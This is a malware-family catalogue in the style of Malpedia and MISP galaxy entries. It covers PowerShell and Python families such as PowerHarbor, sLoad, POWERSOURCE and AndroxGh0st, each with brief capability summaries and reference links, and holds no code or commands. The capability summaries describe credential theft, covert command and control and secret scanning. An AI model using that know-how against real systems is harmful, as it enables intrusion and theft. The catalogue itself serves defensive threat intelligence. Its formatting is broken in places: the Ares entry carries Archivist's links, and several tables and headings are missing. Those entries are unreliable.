_Table 2287. Table References_

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Lazyscripter

The tag is: `misp-galaxy:malpedia="Lazyscripter"`

Lazyscripter is also known as:

**Table 2288. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lazyscripter">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lazyscripter</a></td>
</tr>
<tr>
<td><a href="https://github.com/SrujanKumar-K/Blogpost/tree/main/LazyScripter">https://github.com/SrujanKumar-K/Blogpost/tree/main/LazyScripter</a></td>
</tr>
</tbody>
</table>

LightBot

According to Bleeping Computer and Vitali Kremez, LightBot is a compact reconnaissance tool suspected to be used to identify high-value targets for potential follow-up ransomware attacks.

The tag is: `misp-galaxy:malpedia="LightBot"`

LightBot is also known as:

**Table 2289. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lightbot">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lightbot</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/132951151202349057">https://twitter.com/VK_Intel/status/132951151202349057</a></td>
</tr>
</tbody>
</table>

Octopus (Powershell)

The author describes Octopus as an "open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S."

It is different from the malware win.octopus written in Delphi and attributed to DustSquad by Kaspersky Labs.

The tag is: `misp-galaxy:malpedia="Octopus (Powershell)"

Octopus (Powershell) is also known as:
Table 2290. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.octopus">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.octopus</a></td>
</tr>
<tr>
<td><a href="https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf">https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28628">https://isc.sans.edu/diary/rss/28628</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/26918">https://isc.sans.edu/diary/26918</a></td>
</tr>
<tr>
<td><a href="https://github.com/mhaskar/Octopus">https://github.com/mhaskar/Octopus</a></td>
</tr>
</tbody>
</table>

**OilRig**

The tag is: *misp-galaxy:malpedia*="OilRig"

OilRig is also known as:

Table 2291. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/oilrig-apt-unique-backdoor/157646/">https://threatpost.com/oilrig-apt-unique-backdoor/157646/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MJDutch/status/1074820959784321026?s=19">https://twitter.com/MJDutch/status/1074820959784321026?s=19</a></td>
</tr>
</tbody>
</table>

**PhonyC2**

The tag is: *misp-galaxy:malpedia*="PhonyC2"

PhonyC2 is also known as:

Table 2292. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.phonyc2">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.phonyc2</a></td>
</tr>
</tbody>
</table>

**POSHSPY**

The tag is: *misp-galaxy:malpedia*="POSHSPY"

POSHSPY is also known as:

Table 2293. Table References
PowerBrace

The tag is: misp-galaxy:malpedia="PowerBrace"

PowerBrace is also known as:

Table 2294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerbrace">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerbrace</a></td>
</tr>
<tr>
<td><a href="https://norfolksinfosec.com/osint-reporting-on-dprk-and-ta505-overlap/">https://norfolksinfosec.com/osint-reporting-on-dprk-and-ta505-overlap/</a></td>
</tr>
</tbody>
</table>

PowerHarbor

PowerHarbor is a modular PowerShell-based malware that consists of various modules. The primary module maintains constant communication with the C2 server, executing and deleting additional modules received from it. Currently, the communication with the C2 server is encrypted using RSA encryption and hardcoded key data. Moreover, the main module incorporates virtual machine (VM) detection capabilities. The StealData module employs the Invoke-Stealer function as its core, enabling the theft of system information, browser-stored credentials, cryptocurrency wallet details, and credentials for various applications like Telegram, FileZilla, and WinSCP.

The tag is: misp-galaxy:malpedia="PowerHarbor"

PowerHarbor is also known as:

Table 2295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerharbor">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerharbor</a></td>
</tr>
<tr>
<td><a href="https://insight-jp.nttsecurity.com/post/102ignh/steelcloverpowerharbor">https://insight-jp.nttsecurity.com/post/102ignh/steelcloverpowerharbor</a></td>
</tr>
</tbody>
</table>

PowerPepper

The tag is: misp-galaxy:malpedia="PowerPepper"

PowerPepper is also known as:

Table 2296. Table References
POWERPIPE

The tag is: misp-galaxy:malpedia="POWERPIPE"

POWERPIPE is also known as:

Table 2297. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe</a></td>
</tr>
</tbody>
</table>

POWERPLANT

This powershell code is a PowerShell written backdoor used by FIN7. Regarding to Mandiant that is was revealed to be a "vast backdoor framework with a breadth of capabilities, depending on which modules are delivered from the C2 server."

The tag is: misp-galaxy:malpedia="POWERPLANT"

POWERPLANT is also known as:

Table 2298. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerplant">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerplant</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/evolution-of-fin7">https://www.mandiant.com/resources/evolution-of-fin7</a></td>
</tr>
</tbody>
</table>

powershell_web_backdoor

The tag is: misp-galaxy:malpedia="powershell_web_backdoor"

powershell_web_backdoor is also known as:

Table 2299. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershell_web_backdoor">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershell_web_backdoor</a></td>
</tr>
</tbody>
</table>
PowerShortShell

The tag is: `misp-galaxy:malpedia="PowerShortShell"`

PowerShortShell is also known as:

Table 2300. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershortshell">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershortshell</a></td>
</tr>
</tbody>
</table>

PowerShower

The tag is: `misp-galaxy:malpedia="PowerShower"`

PowerShower is also known as:

Table 2301. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershower">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershower</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0100/">https://attack.mitre.org/groups/G0100/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/clean-ursa/">https://unit42.paloaltonetworks.com/atoms/clean-ursa/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/">https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability">https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/recent-cloud-atlas-activity/92016/">https://securelist.com/recent-cloud-atlas-activity/92016/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0100">https://attack.mitre.org/groups/G0100</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/clean-ursa">https://unit42.paloaltonetworks.com/atoms/clean-ursa</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/recent-cloud-atlas-activity/92016">https://securelist.com/recent-cloud-atlas-activity/92016</a></td>
</tr>
</tbody>
</table>

POWERSOURCE

POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS.TXT.Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams.

The tag is: `misp-galaxy:malpedia="POWERSOURCE"`
POWERSOURCE is also known as:

Table 2302. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html">https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html</a></td>
</tr>
</tbody>
</table>

PowerSpritz

The tag is: `misp-galaxy:malpedia="PowerSpritz"`

PowerSpritz is also known as:

Table 2303. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerspritz">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerspritz</a></td>
</tr>
</tbody>
</table>

POWERSTATS

POWERSTATS is a backdoor written in powershell. It has the ability to disable Microsoft Office Protected View, fingerprint the victim and receive commands.

The tag is: `misp-galaxy:malpedia="POWERSTATS"`

POWERSTATS is also known as:

- Valyria

Table 2304. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats</a></td>
</tr>
</tbody>
</table>
The tag is: `misp-galaxy:malpedia="POWERTON"`

POWERTON is also known as:
POWERTRASH

This PowerShell written malware is an in-memory dropper used by FIN7 to execute the included/embedded payload. According to Mandiant's blog article: "POWERTRASH is a uniquely obfuscated iteration of a shellcode invoker included in the PowerSploit framework available on GitHub."

The tag is: misp-galaxy:malpedia="POWERTRASH"

POWERTRASH is also known as:

PowerWare

The tag is: misp-galaxy:malpedia="PowerWare"

PowerWare is also known as:
**PowerZure**

PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.

The tag is: `misp-galaxy:malpedia="PowerZure"`

PowerZure is also known as:

*Table 2308. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerzure">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerzure</a></td>
</tr>
<tr>
<td><a href="https://github.com/hausec/PowerZure">https://github.com/hausec/PowerZure</a></td>
</tr>
</tbody>
</table>

**PowerMagic**

The tag is: `misp-galaxy:malpedia="PowerMagic"`

PowerMagic is also known as:

*Table 2309. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.power_magic">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.power_magic</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cloudwizard-apt/109722/">https://securelist.com/cloudwizard-apt/109722/</a></td>
</tr>
<tr>
<td><a href="https://www.malwarebytes.com/blog/threat-intelligence/2023/05/redstinger">https://www.malwarebytes.com/blog/threat-intelligence/2023/05/redstinger</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/bad-magic-apt/109087/?s=31">https://securelist.com/bad-magic-apt/109087/?s=31</a></td>
</tr>
</tbody>
</table>

**PowGoop**

DLL loader that decrypts and runs a powershell-based downloader.

The tag is: `misp-galaxy:malpedia="PowGoop"`

PowGoop is also known as:

*Table 2310. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-055a">https://www.cisa.gov/uscert/ncas/alerts/aa22-055a</a></td>
</tr>
</tbody>
</table>
POWRUNER

The tag is: *misp-galaxy:malpedia*="POWRUNER"

POWRUNER is also known as:

*Table 2311. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner</a></td>
</tr>
</tbody>
</table>

PresFox

The family is adding a fake root certificate authority, sets a proxy.pac-url for local browsers and redirects infected users to fake banking applications (currently targeting Poland). Based on information shared, it seems the PowerShell script is dropped by an exploit kit.

The tag is: *misp-galaxy:malpedia*="PresFox"

PresFox is also known as:

*Table 2312. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.presfox">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.presfox</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/kafeine/status/1092000556598677504">https://twitter.com/kafeine/status/1092000556598677504</a></td>
</tr>
</tbody>
</table>

**QUADAGENT**

The tag is: *misp-galaxy:malpedia="QUADAGENT"*

QUADAGENT is also known as:

Table 2313. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/pBDu8EGWRC4?t=2492">https://youtu.be/pBDu8EGWRC4?t=2492</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/">https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNN0oHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca">https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNN0oHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca</a></td>
</tr>
<tr>
<td><a href="https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae">https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae</a></td>
</tr>
</tbody>
</table>

**RMOT**

According to Trellix, this is a first-stage, powershell-based malware dropped via Excel/VBS. It is able to establish a foothold and exfiltrate data. Targets identified include hotels in Macao.

The tag is: *misp-galaxy:malpedia="RMOT"*

RMOT is also known as:

Table 2314. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.rmot">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.rmot</a></td>
</tr>
</tbody>
</table>

**RogueRobin**

The tag is: *misp-galaxy:malpedia="RogueRobin"*

RogueRobin is also known as:

Table 2315. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin</a></td>
</tr>
</tbody>
</table>
Royal Ransom (Powershell)

Toolkit downloader used by Royal Ransomware group, involving GnuPG for decryption.

The tag is: *misp-galaxy:malpedia=*Royal Ransom (Powershell)*

Royal Ransom (Powershell) is also known as:

*Table 2316. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.royal_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.royal_ransom</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a</a></td>
</tr>
</tbody>
</table>

Schtasks

The tag is: *misp-galaxy:malpedia=*Schtasks*

Schtasks is also known as:

*Table 2317. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.schtasks">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.schtasks</a></td>
</tr>
<tr>
<td><a href="https://github.com/re4lity/Schtasks-Backdoor/blob/master/Schtasks-Backdoor.ps1">https://github.com/re4lity/Schtasks-Backdoor/blob/master/Schtasks-Backdoor.ps1</a></td>
</tr>
</tbody>
</table>

skyrat

The tag is: *misp-galaxy:malpedia=*skyrat*

skyrat is also known as:

*Table 2318. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.skyrat">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.skyrat</a></td>
</tr>
<tr>
<td><a href="https://github.com/YSCHGroup/SkyRAT">https://github.com/YSCHGroup/SkyRAT</a></td>
</tr>
</tbody>
</table>
sLoad

sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries.

The tag is: misp-galaxy:malpedia="sLoad"

sLoad is also known as:

- Starslord

Table 2319. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/">https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/">https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/sload-targeting-europe-again">https://blog.minerva-labs.com/sload-targeting-europe-again</a></td>
</tr>
</tbody>
</table>

Snugy

The tag is: misp-galaxy:malpedia="Snugy"

Snugy is also known as:

Table 2320. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Swrort Stager
The tag is: *misp-galaxy:malpedia=*"Swrort Stager"

Swrort Stager is also known as:

*Table 2321. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.swrort">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.swrort</a></td>
</tr>
</tbody>
</table>

Tater PrivEsc
The tag is: *misp-galaxy:malpedia=*"Tater PrivEsc"

Tater PrivEsc is also known as:

*Table 2322. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.tater">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.tater</a></td>
</tr>
<tr>
<td><a href="https://github.com/Kevin-Robertson/Tater">https://github.com/Kevin-Robertson/Tater</a></td>
</tr>
</tbody>
</table>

ThunderShell
The tag is: *misp-galaxy:malpedia=*"ThunderShell"

ThunderShell is also known as:

*Table 2323. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.thundershell">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.thundershell</a></td>
</tr>
<tr>
<td><a href="https://github.com/Mr-Un1k0d3r/ThunderShell">https://github.com/Mr-Un1k0d3r/ThunderShell</a></td>
</tr>
</tbody>
</table>

Unidentified PS 001
Recon and exfiltration script, dropped from a LNK file. Attributed to APT-C-12.

The tag is: *misp-galaxy:malpedia=*"Unidentified PS 001"
Unidentified PS 001 is also known as:

Table 2324. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_001

https://bitofhex.com/2020/02/10/sapphire-mushroom-link-files/

Unidentified PS 002 (RAT)

A Powershell-based RAT capable of pulling further payloads, delivered through Russia-themed phishing mails.

The tag is: misp-galaxy:malpedia="Unidentified PS 002 (RAT)"

Unidentified PS 002 (RAT) is also known as:

Table 2325. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_002

https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/


Unidentified PS 003 (RAT)

This malware is a RAT written in PowerShell. It has the following capabilities: Downloading and Uploading files, loading and execution of a PowerShell script, execution of a specific command. It was observed by Malwarebytes LABS Threat Intelligence Team in a newly discovered campaign: this campaigns tries to lure Germans with a promise of updates on the current threat situation in Ukraine according to Malwarebyte LABS.

The tag is: misp-galaxy:malpedia="Unidentified PS 003 (RAT)"

Unidentified PS 003 (RAT) is also known as:

Table 2326. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/ps1.unidentified_003

https://blog.malwarebytes.com/threat-intelligence/2022/05/custom-powershell-rat-targets-germans-seeking-information-about-the-ukraine-crisis/
ViperSoftX

The tag is: misp-galaxy:malpedia="ViperSoftX"

ViperSoftX is also known as:

Table 2327. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.vipersoftx">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.vipersoftx</a></td>
</tr>
<tr>
<td><a href="https://chris.partridge.tech/2022/evolution-of-vipersoftx-dga">https://chris.partridge.tech/2022/evolution-of-vipersoftx-dga</a></td>
</tr>
</tbody>
</table>

WannaMine

The tag is: misp-galaxy:malpedia="WannaMine"

WannaMine is also known as:

Table 2328. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannamine">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannamine</a></td>
</tr>
<tr>
<td><a href="https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/">https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry">https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/">https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/">https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/</a></td>
</tr>
</tbody>
</table>

WannaRen Downloader

The tag is: misp-galaxy:malpedia="WannaRen Downloader"

WannaRen Downloader is also known as:

Table 2329. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannaren_loader">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wannaren_loader</a></td>
</tr>
</tbody>
</table>
WMImplant

The tag is: misp-galaxy:malpedia="WMImplant"

WMImplant is also known as:

Table 2330. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wmimplant">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wmimplant</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html">https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html</a></td>
</tr>
</tbody>
</table>

AndroxGh0st

According to Laceworks, this is a SMTP cracker, which is primarily intended to scan for and parse Laravel application secrets from exposed .env files. Note: Laravel is an open source PHP framework and the Laravel .env file is often targeted for its various configuration data including AWS, SendGrid and Twilio. AndroxGh0st has multiple features to enable SMTP abuse including scanning, exploitation of exposed creds and APIs, and even deployment of webshells. For AWS specifically, the malware scans for and parses AWS keys but also has the ability to generate keys for brute force attacks. However, the brute force capability is likely a novelty and is a statistically unlikely attack vector.

The tag is: misp-galaxy:malpedia="AndroxGh0st"

AndroxGh0st is also known as:

• Androx
• AndroxGhost

Table 2331. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.androxgh0st">https://malpedia.caad.fkie.fraunhofer.de/details/py.androxgh0st</a></td>
</tr>
<tr>
<td><a href="https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys/">https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys/</a></td>
</tr>
</tbody>
</table>

Archivist

The tag is: misp-galaxy:malpedia="Archivist"

Archivist is also known as:

Table 2332. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Ares (Python)

Ares is a Python RAT.

The tag is: misp-galaxy:malpedia="Ares (Python)"

Ares (Python) is also known as:

Table 2333. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.archivist">https://malpedia.caad.fkie.fraunhofer.de/details/py.archivist</a></td>
</tr>
<tr>
<td><a href="https://github.com/NullArray/Archivist">https://github.com/NullArray/Archivist</a></td>
</tr>
</tbody>
</table>

BrickerBot

The tag is: misp-galaxy:malpedia="BrickerBot"

BrickerBot is also known as:

Table 2334. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot">https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot</a></td>
</tr>
<tr>
<td><a href="http://seclists.org/fulldisclosure/2017/Mar/7">http://seclists.org/fulldisclosure/2017/Mar/7</a></td>
</tr>
<tr>
<td><a href="https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A">https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A</a></td>
</tr>
<tr>
<td><a href="http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f">http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f</a></td>
</tr>
</tbody>
</table>

DropboxC2C

The tag is: misp-galaxy:malpedia="DropboxC2C"

DropboxC2C is also known as:

Table 2335. Table References
Empyrean

Discord Stealer written in Python with Javascript-based inject files.

The tag is: `misp-galaxy:malpedia="Empyrean"`

Empyrean is also known as:

Table 2336. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.empyrean">https://malpedia.caad.fkie.fraunhofer.de/details/py.empyrean</a></td>
</tr>
<tr>
<td><a href="https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord">https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord</a></td>
</tr>
</tbody>
</table>

Guard

According to Kaspersky Labs, Guard is a malware developed by threat actor WildPressure. It is written in Python and packaged using PyInstaller, both for Windows and macOS operating systems. Its intrinsics resemble parts of how win.milum operates.

The tag is: `misp-galaxy:malpedia="Guard"`

Guard is also known as:

Table 2337. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.guard">https://malpedia.caad.fkie.fraunhofer.de/details/py.guard</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/wildpressure-targets-macos/103072/">https://securelist.com/wildpressure-targets-macos/103072/</a></td>
</tr>
</tbody>
</table>

KeyPlexer

The tag is: `misp-galaxy:malpedia="KeyPlexer"`

KeyPlexer is also known as:

Table 2338. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
